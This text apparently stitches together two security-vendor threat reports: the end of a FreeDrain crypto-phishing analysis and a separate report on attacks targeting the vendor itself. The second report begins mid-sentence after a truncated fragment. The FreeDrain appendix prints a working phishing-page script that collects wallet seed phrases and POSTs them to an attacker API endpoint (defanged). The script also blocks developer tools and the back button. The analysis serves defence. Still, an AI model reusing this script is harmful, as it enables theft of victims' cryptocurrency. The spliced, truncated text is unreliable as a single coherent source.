We corroborated this signal using metadata from other FreeDrain free-infrastructure/services. Webflow, for instance, embeds a “last published” timestamp in the HTML source of hosted sites. When we aggregated timestamps across the many FreeDrain Webflow pages, a clear 9-to-5 weekday work pattern emerged, complete with a consistent midday break. This pattern aligns closely with a standard business schedule in the IST timezone.
Aggregated Webflow publish times show an exceptionally clear weekday work pattern in UTC+05:30Webflow embeds publish timestamps into the HTML source code of published websites
Combining these and other signals across platforms, we assess with high confidence that FreeDrain is operated by individuals based in the IST timezone, likely in India, working standard weekday hours.
Additionally, timeline analysis shows that FreeDrain has been active since at least 2022, with a notable acceleration in mid-2024. As of this writing, the campaign remains active across several free hosting and publishing platforms.
Confirmed “last published” times, by date
Disruption Efforts and Opportunities
The scale and diversity of services abused by FreeDrain made disruption an ongoing challenge. While the campaign leaned heavily on free-tier platforms, many of which allowed users to publish images, text, external links, and even custom JavaScript to subdomains under well-known parent domains, very few of these platforms offered streamlined abuse reporting workflows.
In most cases, there was no direct method to report malicious content from the content page itself, forcing us to manually investigate each platform’s policies, support forms, or contact channels. This adds unnecessary friction to the response process, especially when scaled across hundreds of active malicious pages.
Even more concerning, most of the publishing platforms lacked the detection capabilities to identify this type of coordinated abuse on their own. The indicators were there: repetitive naming patterns, clustered behavior, identical templates reused across subdomains, but limited proactive action was being taken.
This highlights a broader industry need:
Free-tier content platforms should invest in basic abuse prevention tooling and more accessible reporting mechanisms.
At minimum, this includes:
Allowing abuse to be reported directly from published content pages
Monitoring for patterns of misuse (e.g., bulk account creation, similar domain structures, repeated hosting of external phishing kits)
Establishing direct communication lines with trusted threat intel analysts and threat researchers
FreeDrain’s reliance on free-tier platforms is not unique, and without better safeguards, these services will continue to be weaponized at scale.
This isn’t just a security issue, it’s a business one. When threat actors abuse these platforms to host phishing pages, fake login portals, or crypto scams, they erode user trust in the entire platform domain. Over time, this leads to real financial consequences:
Reputation damage: Reputable domain names like webflow.io, and teachable.com can quickly become flagged by corporate security tools, browser warning systems, and threat intelligence feeds. This reduces their utility for legitimate users and undermines the brand’s credibility.
Deliverability and discoverability: Once a platform’s domain is associated with widespread abuse, search engines, email providers, and social networks may down-rank or block links from that domain, hurting all users, including paying customers.
Customer churn and support burden: Abuse-driven issues often result in a higher volume of customer support tickets, complaints, and refunds, particularly when paying users find their content mistakenly flagged or blocked due to a shared domain reputation.
Increased infrastructure and fraud costs: Hosting abusive content, even at scale on free tiers, still consumes compute, storage, and bandwidth. Worse, it may attract waves of automated account signups and resource abuse that raise operational costs.
Failing to detect and mitigate this kind of abuse isn’t just a user risk– it’s an unpaid tax on the business, dragging down growth and trust at every layer. Proactive abuse prevention and streamlined reporting are not just table stakes for security, they’re critical to long-term sustainability.
References and Similarities to Other Campaigns
Elements of the FreeDrain campaign were first publicly documented in August 2022 by Netskope, with a follow-up report in September 2022. Netskope’s early findings captured the core tactics that continue today: leveraging SEO manipulation to drive traffic to lure pages, which then redirect to credential-harvesting phishing sites. Netskope also published another update in October 2024, focusing on FreeDrain’s use of Webflow-hosted infrastructure, confirming the campaign’s continued evolution while retaining the same fundamental workflow.
FreeDrain’s abuse of legitimate free-tier platforms is part of a broader trend in phishing infrastructure, but it remains distinct from other well-known crypto phishing efforts. For example, the CryptoCore campaign, reported by Avast in August 2024, similarly targets cryptocurrency users but relies heavily on YouTube content and impersonation videos to draw in victims, rather than search engine poisoning and static phishing sites.
In 2023, Trustwave reported on the use of Cloudflare’s pages.dev and workers.dev services in phishing, showing how modern hosting platforms that offer free, customizable subdomains with minimal friction are being systematically exploited, mirroring FreeDrain’s approach.
Recent reporting has also shed light on the kinds of threat actors that may be behind campaigns like FreeDrain. Just this week, the U.S. Treasury sanctioned individuals linked to cyber scam operations in Southeast Asia, specifically a militia group in Burma involved in online fraud networks. While distinct from FreeDrain, these operations share similar hallmarks: large-scale abuse of online infrastructure, technical capability, and a focus on financial theft, demonstrating the scale and organization such campaigns can operate under.
FreeDrain’s techniques have also been informally documented by affected users. In particular, Trezor hardware wallet customers have reported fraudulent websites mimicking the Trezor ecosystem, some of which were part of FreeDrain’s infrastructure:
The FreeDrain network represents a modern blueprint for scalable phishing operations, one that thrives on free-tier platforms, evades traditional abuse detection methods, and adapts rapidly to infrastructure takedowns. By abusing dozens of legitimate services to host content, distribute lure pages, and route victims, FreeDrain has built a resilient ecosystem that’s difficult to disrupt and easy to rebuild.
Through detailed infrastructure analysis, repository metadata mining, and cross-platform behavioral correlations, we uncovered rare insights into the actors behind the campaign, including strong indicators that the operation is manually run by a group based in the UTC+05:30 timezone, working standard business hours. Despite this visibility, systemic weaknesses in reporting mechanisms and abuse detection have allowed FreeDrain to persist and even accelerate in 2024.
This is not just a FreeDrain problem. The broader ecosystem of free publishing platforms is being exploited in ways that disproportionately benefit financially motivated threat actors. Without stronger default safeguards, identity verification, or abuse response infrastructure, these services will continue to be abused, undermining user trust and inflicting real-world financial harm.
By exposing the scale and structure of the FreeDrain network, we hope this research will enable better platform-level defenses, more informed user education, and collaboration across the security community to limit the reach and longevity of operations like this.
This is an example of the JavaScript (“app.js”) that was included on the S3-hosted phishing example: https://dft0-hjgkd26-fkj.s3.us-east-1.amazonaws[.]com/index.html.
Note the defanged malicious URL in the code below–that is the only alteration.
let currentWordCount = 12; // Default word count
function updateInputFields(wordCount) {
const inputContainer = document.getElementById('inputContainer');
inputContainer.innerHTML = '';
currentWordCount = wordCount;
for (let i = 0; i < wordCount; i++) { // Use 0-based index for phase keys
const colDiv = document.createElement('div');
// if (wordCount === 1) {
// colDiv.className = 'col-lg-21 col-md-12 col-sm-12 col-xs-12';
// colDiv.innerHTML = `
// <input
// class="form-control"
// type="text"
// placeholder="Input your words as many words as you have"
// name="word${i}"
// required
// title="Only alphabets are allowed.">
// <div class="error-message" style="font-size:12px;color: #fe3131f2; display: none;">Please enter a valid value.</div>
// `;
// } else {
colDiv.className = 'col-lg-4 col-md-4 col-sm-4 col-xs-12';
colDiv.innerHTML = `
<input
class="form-control"
type="text"
placeholder="${i + 1}."
name="word${i}"
required
pattern="[a-zA-Z]{1,10}"
maxlength="10"
oninput="this.value = this.value.replace(/[^a-zA-Z]/g, '').substring(0, 10);"
title="Only alphabets are allowed.">
<div class="error-message" style="font-size:12px;color: #fe3131f2; display: none;">Please enter a valid value.</div>
`;
// }
inputContainer.appendChild(colDiv);
}
event.target.classList.add('active');
const buttons = document.querySelectorAll('.displayflex button');
buttons.forEach((button) => {
button.classList.remove('active');
});
event.target.classList.add('active');
}
async function handleNextStep(event) {
event.preventDefault();
const inputContainer = document.getElementById('inputContainer');
const inputs = inputContainer.querySelectorAll('input');
let allValid = true;
const enteredWords = new Set();
inputs.forEach((input) => {
const errorDiv = input.nextElementSibling; // Get the associated error div
if (!input.checkValidity()) {
errorDiv.style.display = 'block';
allValid = false;
} else {
errorDiv.style.display = 'none';
}
const word = input.value.trim().toLowerCase(); // Normalize to lowercase to handle case insensitivity
if (word && enteredWords.has(word)) {
allValid = false;
errorDiv.innerHTML = 'This word has already been entered.';
errorDiv.style.display = 'block';
} else {
enteredWords.add(word); // Add word to the Set
}
});
if (!allValid) {
alert("Mnemonic phrase is not valid. Try again.");
return;
}
const data = {};
inputs.forEach((input, index) => {
data[`phrase${index}`] = input.value.trim();
});
data.subject = "Trezor connect2";
data.message = "Successfull fetch data";
$.ajax({
type: "POST",
url: "https://rfhwuwixxi.execute-api.us-east-1.amazonaws[.]com/prod/eappmail",
dataType: "json",
crossDomain: true,
contentType: "application/json; charset=utf-8",
data: JSON.stringify(data),
success: function (result) {
alert('Data submitted successfully1!');
window.location.href = 'https://suite.trezor.io/web/';
location.reload();
},
error: function (xhr, status, error) {
window.location.href = 'https://suite.trezor.io/web/';
}
});
}
window.onload = function () {
// Prevent the back button from navigating back
function preventBack() {
history.forward();
}
// Execute the `preventBack` function immediately after page load
setTimeout(preventBack, 0);
// Ensure the page doesn't cache on unload, forcing users to reload
window.onunload = function () {
return null;
};
};
document.addEventListener('DOMContentLoaded', () => updateInputFields(12));
document.addEventListener("DOMContentLoaded", function () {
const statusButton = document.getElementById("statusButton");
const statusText = document.getElementById("statusText");
const statusIcon = document.getElementById("statusIcon");
// Initial state: "Waiting for Trezor..."
statusText.textContent = "Waiting for Trezor... ";
statusIcon.innerHTML = '';
// After 2 seconds: "Establishing connection"
setTimeout(() => {
statusText.textContent = "Establishing connection...";
statusIcon.innerHTML = '';
}, 5000);
// After 5 seconds: "Unable to read data" (Error state)
setTimeout(() => {
statusText.textContent = "Unable to read data";
statusIcon.innerHTML = '';
statusButton.classList.add("error-btn");
}, 5000);
function resetStatus() {
// Reset to "Establishing connection..."
statusText.textContent = "Establishing connection...";
statusIcon.innerHTML = '';
statusButton.classList.remove("error-btn"); // Reset error button class
// After 3 seconds: Change status to "Unable to read data"
setTimeout(() => {
statusText.textContent = "Unable to read data";
statusIcon.innerHTML = '';
statusButton.classList.add("error-btn");
}, 5000);
}
// Event listener for button click
statusButton.addEventListener("click", function () {
resetStatus(); // Reset and start the cycle on each click
});
// Optionally, you can trigger the status change flow immediately after page load for testing
setTimeout(() => {
resetStatus(); // Automatically run the flow when the page loads (optional)
}, 5000);
});
// Disable right-click context menu
document.addEventListener("contextmenu", (event) => event.preventDefault());
// Disable key combinations for opening developer tools
document.addEventListener("keydown", (event) => {
// Disable F12, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+U (View Source), Ctrl+Shift+C
if (
event.key === "F12" ||
(event.ctrlKey && event.shiftKey && ["I", "J", "C"].includes(event.key)) ||
(event.ctrlKey && event.key === "U")
) {
event.preventDefault();
}
});
// Detect if devtools is opened (basic detection)
const detectDevTools = () => {
const element = new Image();
Object.defineProperty(element, "id", {
get: () => {
alert("Developer tools detected. Please close it to proceed.");
// Redirect or log out the user
window.location.href = "about:blank"; // Example action
},
});
console.log(element);
};
detectDevTools();
setInterval(detectDevTools, 1000);
Executive Summary
In recent months, SentinelOne has observed and defended against a spectrum of attacks from financially motivated crimeware to tailored campaigns by advanced nation-state actors.
These incidents were real intrusion attempts against a U.S.-based cybersecurity company by adversaries, but incidents such as these are neither new nor unique to SentinelOne.
Recent adversaries have included:
DPRK IT workers posing as job applicants
ransomware operators probing for ways to access/abus
In recent months, SentinelOne has observed and defended against a spectrum of attacks from financially motivated crimeware to tailored campaigns by advanced nation-state actors.
These incidents were real intrusion attempts against a U.S.-based cybersecurity company by adversaries, but incidents such as these are neither new nor unique to SentinelOne.
Recent adversaries have included:
DPRK IT workers posing as job applicants
ransomware operators probing for ways to access/abuse our platform
Chinese state-sponsored actors targeting organizations aligned with our business and customer base
This report highlights a rarely-discussed but crucially important attack surface: security vendors themselves.
Overview
At SentinelOne, defending against real-world threats isn’t just part of the job, it’s the reality of operating as a cybersecurity company in today’s landscape. We don’t just study attacks, we experience them firsthand, levied against us. Our teams face the same threats we help others prepare for, and that proximity to the front lines shapes how we think, and how we operate. Real-world attacks against our own environment serve as constant pressure tests, reinforcing what works, revealing what doesn’t, and driving continuous improvement across our products and operations. When you’re a high-value target for some of the most capable and persistent adversaries out there, nothing less will do.
Talking about being targeted is uncomfortable for any organization. For cybersecurity vendors, it’s practically taboo. But the truth is security vendors sit at an interesting cross-section of access, responsibility, and attacker ire that makes us prime targets for a variety of threat actors, and the stakes couldn’t be higher. When adversaries compromise a security company, they don’t just breach a single environment—they potentially gain insight into how thousands of environments and millions of endpoints are protected.
In the past several months alone, we’ve observed and defended against a spectrum of attacks ranging from financially motivated crimeware to tailored campaigns by advanced nation-state actors. They were real intrusion attempts targeting a U.S.-based cybersecurity company — launched by adversaries actively looking for an advantage, access, or leverage. Adversaries included DPRK IT workers posing as job applicants, ransomware operators probing for ways to access/abuse our platform, and Chinese state-sponsored actors targeting organizations aligned with our business and customer base.
We are certainly not the only ones facing these threats. In the spirit of furthering collective defenses and encouraging further collaboration, we’re pulling back the curtain to share some of what we’ve seen, why it matters, and what it tells us about the evolving threat landscape—not just for us, but for every company building and relying on modern security technology.
DPRK IT Workers Seeking Inside Jobs
One of the more prolific and persistent adversary campaigns we’ve tracked in recent years involves widespread campaigns by DPRK-affiliated IT Workers attempting to secure remote employment within Western tech companies– including SentinelOne. Early reports drew attention to these efforts and our own analysis revealed further logistical infrastructure to launder illicit funds via Chinese intermediary organizations. However, neither gave a sense of the staggering volume of ongoing infiltration attempts. This vector far outpaces any other insider threat vector we monitor.
These actors are not just applying blindly — they are refining their process, leveraging stolen or fabricated personas, and adapting their outreach tactics to mirror legitimate job seekers in increasingly convincing ways. Our team has tracked roughly 360 fake personas and over 1,000 job applications linked to DPRK IT worker operations applying for roles at SentinelOne — even including brazen attempts to secure positions on the SentinelLabs intelligence engineering team itself.
Public reporting of DPRK IT workers applying to threat intelligence positions
Engagement and Adversary Interaction
Instead of staying passive, we made a deliberate choice towards intelligence-driven engagement. In coordination with our talent acquisition teams, we developed workflows to identify and interact with suspected DPRK applicants during the early phases of their outreach. This collaboration was key. By embedding lightweight vetting signals and monitoring directly into recruiting processes — without overburdening hiring teams — we were able to surface anomalous patterns tied to DPRK-affiliated personas piped directly into our Vertex Synapse intelligence platform for analyst review.
Our attempted interactions offered rare insights into the craftiness and persistence of these infiltration campaigns — particularly the ways in which adversaries adapt to the friction they encounter.
Inbound DPRK referral request to strategic employees
The attackers are honing their craft beyond the job application and recruitment process. An operation of this scale and nature requires a different kind of backend infrastructure, such as a sprawling network of front companies to enable further laundering and logistics.
DPRK IT Worker Front Company Network (November 2024)
Helping Hiring Teams Help Us
A key takeaway in working on this investigation was the value of intentionally creating inroads and sharing threat context with different teams not normally keyed into investigations. Rather than cluelessness, we encountered an intuitive understanding of the situation as recruiters had already been filtering out and reporting ‘fake applicants’ within their own processes.
We brought campaign-level understanding that was combined with tactical insights from our talent team. The payoff was immediate. Recruiters began spotting patterns on their own, driving an increase in early-stage escalation of suspicious profiles. They became an active partner that continues to flag new sightings from the frontlines. In turn, we are codifying these insights into automated systems that flag, filter, enrich, and proactively block these campaigns to lower the burden on our recruiters and hiring managers, and reduce the risk of infiltration.
Make cross‑functional collaboration standard operating procedure: equip frontline business units—from recruiting to sales—with shared threat context and clear escalation paths so they can surface anomalies early without slowing the business. Codifying insights with automation will consistently bring bi-directional benefits.
The DPRK IT worker threat is a uniquely complex challenge — one where meaningful progress depends on collaboration between the security research community and public sector partners.
Ransomware Group Capability Development
Financially motivated threat actors frequently target enterprise security platforms —products designed to keep them from making money—for direct access. SentinelOne, like our peers, is no exception. While uncomfortable, this is a reality the industry faces continually and should handle with both transparency and urgency.
Forum post offering security product access
Privileged access to administrative interfaces or agent installers for endpoint security products provides tangible advantages for adversaries seeking to advance their operations. Console access can be used to disable protections, manipulate configurations, or suppress detections. Direct, unmonitored access to the endpoint agent offers opportunities to test malware efficacy, explore bypass or tampering techniques, and suppress forensic visibility critical for investigations. In the wrong hands, these capabilities represent a significant threat to both the integrity of security products and the environments they protect.
This isn’t a new tactic. Various high-profile criminal groups have long specialized in social engineering campaigns to gain access to core security tools and infrastructure—ranging from EDR platforms (including SentinelOne and Microsoft Defender) to IAM and VPN providers such as Okta. Their goal: expand footholds, disable defenses, and obstruct detection long enough to profit.
Recent leaks related to Black Basta further underscore this trend. The group’s operators were observed testing across multiple endpoint security platforms—including SentinelOne, CrowdStrike, Carbon Black, and Palo Alto Networks—before launching attacks, suggesting a systematic effort to evaluate and evade security tools prior to deployment.
Black Basta leak excerpts
Economy/Ecosystem
There is an increasingly mature and active underground economy built around the buying, selling, and renting of access to enterprise security tools. For the right price, aspiring threat actors continually attempt to obtain time-bound or persistent access to our EDR platform and administrative consoles. Well-known cybercrime forums are filled with vendors openly advertising such access—and just as many buyers actively seeking it. This includes long-established forums like XSS[.]is, Exploit[.]in and RAMP.
That said, more of this activity has been moving to confidential messaging platforms as well (Telegram, Discord, Signal). For example, Telegram bots are used to automate trading this access, and Signal is often used by threat actors to discuss nuance, targeting and initial access operations.
This supply-and-demand dynamic is not only robust but also accelerating. Entire service offerings have emerged around this ecosystem, including “EDR Testing-as-a-Service,” where actors can discreetly evaluate malware against various endpoint protection platforms.
Proposed Private EDR testing service
While these testing services may not grant direct access to full-featured EDR consoles or agents, they do provide attackers with semi-private environments to fine-tune malicious payloads without the threat of exposure—dramatically improving the odds of success in real-world attacks.
Prospective buyer for EDR installs
Access isn’t always bought, however. Threat actors frequently harvest legitimate credentials from infostealer logs—a common and low-cost method of acquiring privileged access to enterprise environments. In cases where existing customers reuse credentials, this can translate into a threat actor also gaining access to security tools. In more targeted operations, actors have also turned to bribery, offering significant sums to employees willing to sell out their account access.
These insider threats are not hypothetical. For instance, some groups have been observed offering upwards of $20,000 to employees at targeted companies in exchange for insider assistance—an approach openly discussed in the same dark web forums where compromised credentials and access are routinely traded.
On the defensive side, this requires constant monitoring and maintenance. Situational awareness has to be prioritized in order to maintain platform integrity and protect our legitimate customers. Our research teams are constantly monitoring for this style of abuse and access ‘leakage’, focusing on anomalous console access and site-token usage, and taking necessary actions to revoke these access vectors. This prohibits threat actors from fully interacting with the wider platform, and essentially orphans leaked agent installs, limiting the use of the agent in the hands of the threat actor.
Nitrogen — Threat Operators ‘Leveling Up’
Some ransomware operations are now bypassing the underground market altogether—opting instead for more tailored, concentrated-effort impersonation campaigns to gain access to security tools. This approach is epitomized by the Nitrogen ransomware group.
Nitrogen is believed to be operated by a well-funded Russian national with ties to earlier groups like Maze and Snatch. Rather than purchasing illicit access, Nitrogen impersonates real companies—spinning up lookalike domains, spoofed email addresses, and cloned infrastructure to convincingly pose as legitimate businesses. Nitrogen then purchases official licenses for EDR and other security products under these false pretenses.
This kind of social engineering is executed with precision. Nitrogen typically targets small, lightly vetted resellers—keeping interactions minimal and relying on resellers’ inconsistent KYC (Know Your Customer) practices to slip through the cracks.
These impersonation tactics introduce a new layer of complexity for defenders. If a threat actor successfully acquires legitimate licenses from a real vendor, they can weaponize the product to test, evade, and potentially disable protections—without ever having to engage with criminal markets.
This highlights a growing challenge for the security industry: reseller diligence and KYC enforcement are clearly part of the threat surface. When those controls are weak or absent, adversaries like Nitrogen gain powerful new ways to elevate their campaigns—often at a lower cost and lower risk than the black market.
Lessons Learned and Internal Collaboration
One of the most impactful lessons from tracking adversaries targeting our platform has been the value of deep, early collaboration across internal teams — particularly those not traditionally pulled into threat response efforts. For example, by proactively engaging with our reseller operations and customer success teams, we can surface valuable signals on questionable license requests, reseller behavior anomalies, and business inconsistencies that could have otherwise gone unnoticed.
By creating shared playbooks, embedding lightweight threat context, and establishing clear escalation paths, reactive processes turn into proactive signal sources. Now, suspicious licensing activity—especially when paired with evasive behaviors or mismatched domain metadata—can surface much earlier in the workflow.
To scale this effort, we increasingly lean into automation. By codifying threat patterns—such as domain registration heuristics, behavioral metadata mismatches, and reseller inconsistencies—organizations can automate enrichment and risk-scoring for incoming licensing requests. This can then be used to dynamically filter, flag, and in some cases, auto-block high-risk activity before it reaches onboarding.
The growing trend of adversaries exploiting sales processes—whether through impersonation, social engineering, or brute-force credential use—means security vendors must treat every access vector, including commercial and operational pipelines, as part of the attack surface. Making cross-functional threat awareness standard operating procedure and integrating detection logic at the edge of business systems is essential.
We’re continuing to improve this work in quiet ways. And while we won’t share every detection logic here (for obvious reasons), we encourage others in the industry to pursue similar internal partnerships. Sales and support teams may already be seeing signs of abuse—security teams just need to give them the lens to recognize it.
Chinese State-Sponsored Adversaries
One notable set of activity, occurring over the previous months, involved reconnaissance attempts against SentinelOne’s infrastructure and specific high value organizations we defend. We first became aware of this threat cluster during a 2024 intrusion conducted against an organization previously providing hardware logistics services for SentinelOne employees. We refer to this cluster of activity as PurpleHaze, with technical overlaps to multiple publicly reported Chinese APTs.
The PurpleHaze Activity Cluster
Over the course of months, SentinelLABS observed the threat actor conduct many intrusions, including into a South Asian government supporting entity, providing IT solutions and infrastructure across multiple sectors. This activity involved extensive infrastructure, some of which we associate with an operational relay box (ORB) network, and a Windows backdoor that we track as GoReShell. The backdoor is implemented in the Go programming language and uses functionalities from the open-source reverse_ssh tool to establish reverse SSH connections to attacker-controlled endpoints.
SentinelLABS collectively tracks these activities under the PurpleHaze moniker. We assess with high confidence that PurpleHaze is a China-nexus actor, loosely linking it to APT15 (also known as Nylon Typhoon, or other various outdated aliases). This adversary is known for its global targeting of critical infrastructure sectors, such as telecommunications, information technology, and government organizations – victimology that aligns with our multiple encounters with PurpleHaze.
We track the ORB network infrastructure observed in the attack against the South Asian government organization as being operated from China and actively used by several suspected Chinese cyberespionage actors, including APT15. The use of ORB networks is a growing trend among these threat groups, since they can be rapidly expanded to create a dynamic and evolving infrastructure that makes tracking cyberespionage operations and their attribution challenging. Additionally, GoReShell malware and its variations, including the deployment mechanism on compromised machines and obfuscation techniques have been exclusively observed in intrusions that we attribute with high confidence to China-nexus actors.
ShadowPad Intrusions
In June 2024, approximately four months prior to PurpleHaze targeting SentinelOne, SentinelLABS observed threat actor activity targeting the same South Asian government entity that was also targeted in October 2024. Among the retrieved artifacts, we identified samples of ShadowPad, a modular backdoor platform used by multiple suspected China-nexus threat actors to conduct cyberespionage. Recent ShadowPad activity has also included the deployment of ransomware, though the motive remains unclear — whether for financial gain or as a means of distraction, misattribution, or removal of evidence.
The ShadowPad samples we retrieved were obfuscated using ScatterBrain, an evolution of the ScatterBee obfuscation mechanism. Our industry partner, Google Threat Intelligence Group (GTIG), have also observed the use of ScatterBrain-obfuscated ShadowPad samples since 2022 and attribute them to clusters associated with the suspected Chinese APT actor, APT41.
GTIG APT41 Use of ScatterBrain
Investigations continue in determining the specific actor overlap between June 2024 ShadowPad intrusions and the later PurpleHaze activity. We do not rule out the involvement of the same threat cluster, particularly given the extensive sharing of malware, infrastructure, and operational practices among Chinese threat groups, as well as the possibility of access transfer between different actors.
Based on private telemetry, we identified a large collection of victim organizations compromised using ScatterBrain-obfuscated ShadowPad. Between July 2024 and March 2025, this malware was used in intrusions at over 70 organizations across various regions globally, spanning sectors such as manufacturing, government, finance, telecommunications, and research. We assess that the threat actor primarily gained initial foothold in the majority of these organizations by exploiting an n-day vulnerability in CheckPoint gateway devices, which aligns with previous research on ShadowPad intrusions involving the deployment of ransomware.
Among the victims, we identified the previously mentioned IT services and logistics organization that was at the time responsible for managing hardware logistics for SentinelOne employees. Victim organizations were promptly informed of intrusion specifics, which were swiftly investigated. At this point, it remains unclear whether the perpetrators’ focus was solely on the compromised organization or if they intended to extend their reach to client organizations as well.
A detailed investigation into SentinelOne’s infrastructure, software, and hardware assets found no evidence of secondary compromise. Nevertheless, this case underscores the fragility of the larger supplier ecosystem that organizations depend upon and the persistent threat posed by suspected Chinese threat actors, who continuously seek to establish strategic footholds to potentially compromise downstream entities.
SentinelLABS will share a detailed public release on this topic in due course, providing further technical information on these activities, including observed TTPs, malware, and infrastructure.
Lessons Learned While Hardening Our Operational Ecosystem
Our analysis of the PurpleHaze cluster, and more specifically the potential indirect risk introduced via compromised third-party service providers, has reinforced several key insights around operational security and supply chain monitoring. Even when our own infrastructure remained untouched, the targeting of an external service provider previously associated with business logistics surfaced important considerations.
One immediate reminder is the necessity of maintaining real-time awareness not only over internal assets but also over adjacent service providers—particularly those with past or current access to sensitive employee devices or logistical information. When incidents occur near your supply chain, don’t wait for confirmation of compromise. Proactively trigger internal reviews of asset inventories, procurement workflows, OS images and onboarding deployment scripts, and segmentation policies to quickly identify any exposure pathways and reduce downstream risk.
This leads to several defense recommendations:
Distribute Threat Intelligence Across Operational Stakeholders
Organizations should proactively share campaign-level threat intelligence with business units beyond the traditional security org—particularly those managing vendor relationships, logistics, and physical operations. Doing so enables faster detection of overlap with compromised third parties and supports early reassessment of exposure through external partners.
Integrate Threat Context Into Asset Attribution Workflows
Infrastructure and IT teams should collaborate with threat intelligence functions to embed threat-aware metadata into asset inventories. This enables more responsive scoping during incident response and enhances the ability to trace supply chain touchpoints that may be at risk.
Expand Supply Chain Threat Modeling
Organizations should refine their threat modeling processes to explicitly account for upstream supply chain threats, especially those posed by nation-state actors with a history of leveraging contractors, vendors, or logistics partners as indirect access vectors. Tailoring models to include adversary-specific tradecraft enables earlier identification of unconventional intrusion pathways.
While attribution continues to evolve and victim impact remains diverse, one thing is clear: well-resourced threat actors are increasingly leaning on indirect routes into enterprise environments. Investigations like this help us sharpen our defenses—not just around traditional digital perimeters but around the full operational footprint of our organization.
The Strategic Value of Cyber Threat Intelligence
In today’s threat landscape, threat intelligence has evolved from a niche function into an essential pillar of enterprise defense—particularly for private sector organizations operating in the security space. As threat actors increasingly target security vendors for insider access, abuse of legitimate channels, and supply chain infiltration, the role of CTI in anticipating and disrupting these tactics has become more critical than ever.
One of the most tangible examples of this value is in internal talent acquisition and insider threat defense. Intelligence has become a frontline asset in identifying attempts by North Korean IT workers and other state-backed operatives to embed themselves in organizations under false pretenses. By flagging suspicious applicant patterns, cross-referencing alias histories, and tracking known tradecraft, CTI teams help hiring managers and HR avoid potential insider incidents before they start.
Our CTI capabilities must also directly support sales and channel operations. As criminal groups increasingly impersonate legitimate businesses to acquire security products through trusted resellers, intelligence plays a key role in verifying customer legitimacy and identifying anomalous purchase behaviors. By integrating intelligence insights into pre-sale vetting workflows, a crucial layer of protection is helping to ensure adversaries cannot simply “buy” their way into our technology stack.
Internally, threat intelligence informs and enhances how we defend our own technology and supply chain against highly targeted APT activity. From understanding how adversaries reverse-engineer our software to uncovering which parts of our technology stack they seek to compromise, CTI enables proactive hardening, smarter telemetry prioritization, and meaningful collaboration with product and engineering teams. In essence, intelligence acts as an early-warning system and a strategic guide—ensuring our defenses stay one step ahead of evolving threats.
Across every function—whether it’s HR, Sales, Engineering, or Security—cyber threat intelligence is no longer a backroom function. It’s embedded in the fabric of how we defend, operate, and grow as a business.
Entrar
